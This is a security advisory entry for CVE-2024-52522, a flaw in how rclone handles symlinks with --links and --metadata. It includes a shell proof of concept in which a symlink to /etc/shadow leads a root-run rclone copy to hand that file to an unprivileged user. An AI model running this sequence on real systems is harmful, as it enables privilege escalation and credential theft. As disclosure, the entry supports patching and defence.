ghsa-hrxh-9w67-g4cv
Vulnerability from github
5.4 (Medium) - CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:A/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L
tl;dr:
unprivileged user creates a symlink to /etc/sudoers, /etc/shadow or similar and waits for a privileged user or process to copy/backup/mirror users data (using --links
and --metadata
). unprivileged user now owns /etc/sudoers.
Summary
Insecure handling of symlinks with --links
and --metadata
in rclone while copying to local disk allows unprivileged users to indirectly modify ownership and permissions on symlink target files when a superuser or privileged process performs a copy. This vulnerability could enable privilege escalation and unauthorized access to critical system files (e.g., /etc/shadow), compromising system integrity, confidentiality, and availability.
For instance, an unprivileged user could set a symlink to a sensitive file within their home directory, waiting for an administrator or automated process (e.g., a cron job running with elevated privileges) to copy their files with rclone using the --links and --metadata options. Upon copying, rclone will incorrectly apply chown and chmod to the symlink’s target file rather than just the symlink itself, resulting in ownership and permission changes on the sensitive file.
Who is affected
If you are not using --metadata
and --links
and copying files to the local backend you are not affected by this issue.
If you are using --metadata
and -links
and copying files to the local backend but not as a superuser, then this will manifest itself as a bug by setting incorrect permissions.
If you are using --metadata
and -links
and copying files to the local backend but as a superuser then this could affect you.
Details
When copying directories containing symlinks with rclone using the --links and --metadata options, rclone mistakenly applies chown and chmod operations to the target of the symlink instead of the symlink itself. As a result, ownership and permissions on sensitive system files (e.g., /etc/shadow) may be altered if they are the target of any symlink within the copied directory structure. This allows users to affect the permissions and ownership of files they should not have access to, resulting in privilege escalation and potential system compromise.
PoC
```
Create a directory to simulate a user home directory
root@workstation:~# mkdir -p /tmp/home/user1
root@workstation:~# sudo chown user1:user1 /tmp/home/user1
As user1, create a symlink to /etc/shadow within their home directory
root@workstation:~# sudo -u user1 ln -s /etc/shadow /tmp/home/user1/shadow_link
List permissions on the original files
root@workstation:~# ls -l /tmp/home/user1/shadow_link /etc/shadow
----------. 1 root root 1283 Nov 5 13:30 /etc/shadow
lrwxrwxrwx. 1 user1 user1 11 Nov 5 13:56 /tmp/home/user1/shadow_link -> /etc/shadow
Copy the directory structure with rclone
root@workstation:~# rclone copy /tmp/home /tmp/home_new --links --metadata --log-level=DEBUG
2024/11/05 13:56:53 DEBUG : rclone: Version "v1.68.1" starting with parameters ["rclone" "copy" "/tmp/home" "/tmp/home_new" "--links" "--metadata" "--log-level=DEBUG"]
2024/11/05 13:56:53 DEBUG : Creating backend with remote "/tmp/home"
2024/11/05 13:56:53 NOTICE: Config file "/root/.config/rclone/rclone.conf" not found - using defaults
2024/11/05 13:56:53 DEBUG : local: detected overridden config - adding "{b6816}" suffix to name
2024/11/05 13:56:53 DEBUG : fs cache: renaming cache item "/tmp/home" to be canonical "local{b6816}:/tmp/home"
2024/11/05 13:56:53 DEBUG : Creating backend with remote "/tmp/home_new"
2024/11/05 13:56:53 DEBUG : local: detected overridden config - adding "{b6816}" suffix to name
2024/11/05 13:56:53 DEBUG : fs cache: renaming cache item "/tmp/home_new" to be canonical "local{b6816}:/tmp/home_new"
2024/11/05 13:56:53 DEBUG : Added delayed dir = "user1", newDst=
2024/11/05 13:56:53 DEBUG : 6 go routines active
List permissions again
root@workstation:~# ls -l /tmp/home/user1/shadow_link /etc/shadow /tmp/home_new/user1/shadow_link
-rwxrwxrwx. 1 user1 user1 1283 Nov 5 13:30 /etc/shadow # Wrong, very wrong. Should be root:root and 0000.
lrwxrwxrwx. 1 root root 11 Nov 5 13:56 /tmp/home_new/user1/shadow_link -> /etc/shadow # Wrong too, should be user1:user1
lrwxrwxrwx. 1 user1 user1 11 Nov 5 13:56 /tmp/home/user1/shadow_link -> /etc/shadow
Fix /etc/shadow and clean up
root@workstation:~# chown root:root /etc/shadow root@workstation:~# chmod 000 /etc/shadow root@workstation:~# rm -rf /tmp/home /tmp/home_new ```
Impact
Type of Vulnerability: Improper permissions and ownership handling on symlink targets (Insecure Handling of Symlinks)
Impact: This vulnerability allows unprivileged users to modify permissions and ownership of sensitive system files by creating symlinks to those files in directories that are subsequently copied by an administrator with rclone --links --metadata. This can lead to unauthorized access, privilege escalation, and potential system compromise.
{ "affected": [ { "package": { "ecosystem": "Go", "name": "github.com/rclone/rclone" }, "ranges": [ { "events": [ { "introduced": "1.59.0" }, { "fixed": "1.68.2" } ], "type": "ECOSYSTEM" } ] } ], "aliases": [ "CVE-2024-52522" ], "database_specific": { "cwe_ids": [ "CWE-281" ], "github_reviewed": true, "github_reviewed_at": "2024-11-19T20:36:02Z", "nvd_published_at": "2024-11-15T18:15:30Z", "severity": "MODERATE" }, "details": "### **tl;dr:**\n\nunprivileged user creates a symlink to /etc/sudoers, /etc/shadow or similar and waits for a privileged user or process to copy/backup/mirror users data (using `--links` and `--metadata`). unprivileged user now owns /etc/sudoers.\n\n### Summary\n\nInsecure handling of symlinks with `--links` and `--metadata` in rclone while copying to local disk allows unprivileged users to indirectly modify ownership and permissions on symlink target files when a superuser or privileged process performs a copy. This vulnerability could enable privilege escalation and unauthorized access to critical system files (e.g., /etc/shadow), compromising system integrity, confidentiality, and availability.\n\nFor instance, an unprivileged user could set a symlink to a sensitive file within their home directory, waiting for an administrator or automated process (e.g., a cron job running with elevated privileges) to copy their files with rclone using the --links and --metadata options. Upon copying, rclone will incorrectly apply chown and chmod to the symlink\u2019s target file rather than just the symlink itself, resulting in ownership and permission changes on the sensitive file.\n\n### Who is affected\n\nIf you are not using `--metadata` **and** `--links` **and** copying files **to** the local backend you are not affected by this issue.\n\nIf you are using `--metadata` and `-links` and copying files to the local backend but not as a superuser, then this will manifest itself as a bug by setting incorrect permissions.\n\nIf you are using `--metadata` and `-links` and copying files to the local backend but as a superuser then this could affect you.\n\n### Details\n\nWhen copying directories containing symlinks with rclone using the --links and --metadata options, rclone mistakenly applies chown and chmod operations to the target of the symlink instead of the symlink itself. As a result, ownership and permissions on sensitive system files (e.g., /etc/shadow) may be altered if they are the target of any symlink within the copied directory structure. This allows users to affect the permissions and ownership of files they should not have access to, resulting in privilege escalation and potential system compromise.\n\n### PoC\n\n```\n# Create a directory to simulate a user home directory\nroot@workstation:~# mkdir -p /tmp/home/user1\nroot@workstation:~# sudo chown user1:user1 /tmp/home/user1\n```\n```\n# As user1, create a symlink to /etc/shadow within their home directory\nroot@workstation:~# sudo -u user1 ln -s /etc/shadow /tmp/home/user1/shadow_link\n```\n```\n# List permissions on the original files\nroot@workstation:~# ls -l /tmp/home/user1/shadow_link /etc/shadow\n----------. 1 root root 1283 Nov 5 13:30 /etc/shadow\nlrwxrwxrwx. 1 user1 user1 11 Nov 5 13:56 /tmp/home/user1/shadow_link -\u003e /etc/shadow\n```\n```\n# Copy the directory structure with rclone\nroot@workstation:~# rclone copy /tmp/home /tmp/home_new --links --metadata --log-level=DEBUG\n2024/11/05 13:56:53 DEBUG : rclone: Version \"v1.68.1\" starting with parameters [\"rclone\" \"copy\" \"/tmp/home\" \"/tmp/home_new\" \"--links\" \"--metadata\" \"--log-level=DEBUG\"]\n2024/11/05 13:56:53 DEBUG : Creating backend with remote \"/tmp/home\"\n2024/11/05 13:56:53 NOTICE: Config file \"/root/.config/rclone/rclone.conf\" not found - using defaults\n2024/11/05 13:56:53 DEBUG : local: detected overridden config - adding \"{b6816}\" suffix to name\n2024/11/05 13:56:53 DEBUG : fs cache: renaming cache item \"/tmp/home\" to be canonical \"local{b6816}:/tmp/home\"\n2024/11/05 13:56:53 DEBUG : Creating backend with remote \"/tmp/home_new\"\n2024/11/05 13:56:53 DEBUG : local: detected overridden config - adding \"{b6816}\" suffix to name\n2024/11/05 13:56:53 DEBUG : fs cache: renaming cache item \"/tmp/home_new\" to be canonical \"local{b6816}:/tmp/home_new\"\n2024/11/05 13:56:53 DEBUG : Added delayed dir = \"user1\", newDst=\u003cnil\u003e\n2024/11/05 13:56:53 DEBUG : user1/shadow_link.rclonelink: Need to transfer - File not found at Destination\n2024/11/05 13:56:53 DEBUG : user1/shadow_link.rclonelink: md5 = 2fe8599cb25a0c790213d39b3be97c27 OK\n2024/11/05 13:56:53 INFO : user1/shadow_link.rclonelink: Copied (new)\n2024/11/05 13:56:53 DEBUG : Local file system at /tmp/home_new: Waiting for checks to finish\n2024/11/05 13:56:53 DEBUG : Local file system at /tmp/home_new: Waiting for transfers to finish\n2024/11/05 13:56:53 INFO : user1: Updated directory metadata\n2024/11/05 13:56:53 INFO :\nTransferred: 11 B / 11 B, 100%, 0 B/s, ETA -\nTransferred: 1 / 1, 100%\nElapsed time: 0.0s\n\n2024/11/05 13:56:53 DEBUG : 6 go routines active\n```\n```\n# List permissions again\nroot@workstation:~# ls -l /tmp/home/user1/shadow_link /etc/shadow /tmp/home_new/user1/shadow_link\n-rwxrwxrwx. 1 user1 user1 1283 Nov 5 13:30 /etc/shadow # Wrong, very wrong. Should be root:root and 0000.\nlrwxrwxrwx. 1 root root 11 Nov 5 13:56 /tmp/home_new/user1/shadow_link -\u003e /etc/shadow # Wrong too, should be user1:user1\nlrwxrwxrwx. 1 user1 user1 11 Nov 5 13:56 /tmp/home/user1/shadow_link -\u003e /etc/shadow\n```\n```\n# Fix /etc/shadow and clean up\nroot@workstation:~# chown root:root /etc/shadow\nroot@workstation:~# chmod 000 /etc/shadow\nroot@workstation:~# rm -rf /tmp/home /tmp/home_new\n```\n### Impact\nType of Vulnerability: Improper permissions and ownership handling on symlink targets (Insecure Handling of Symlinks)\n\nImpact: This vulnerability allows unprivileged users to modify permissions and ownership of sensitive system files by creating symlinks to those files in directories that are subsequently copied by an administrator with rclone --links --metadata. This can lead to unauthorized access, privilege escalation, and potential system compromise.", "id": "GHSA-hrxh-9w67-g4cv", "modified": "2024-11-19T20:36:02Z", "published": "2024-11-19T20:36:02Z", "references": [ { "type": "WEB", "url": "https://github.com/rclone/rclone/security/advisories/GHSA-hrxh-9w67-g4cv" }, { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-52522" }, { "type": "WEB", "url": "https://github.com/rclone/rclone/commit/01ccf204f42b4f68541b16843292439090a2dcf0" }, { "type": "PACKAGE", "url": "https://github.com/rclone/rclone" } ], "schema_version": "1.4.0", "severity": [ { "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:L", "type": "CVSS_V3" }, { "score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:A/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L", "type": "CVSS_V4" } ], "summary": "Rclone has Improper Permission and Ownership Handling on Symlink Targets with --links and --metadata" }
Sightings
Author | Source | Type | Date |
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Nomenclature
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.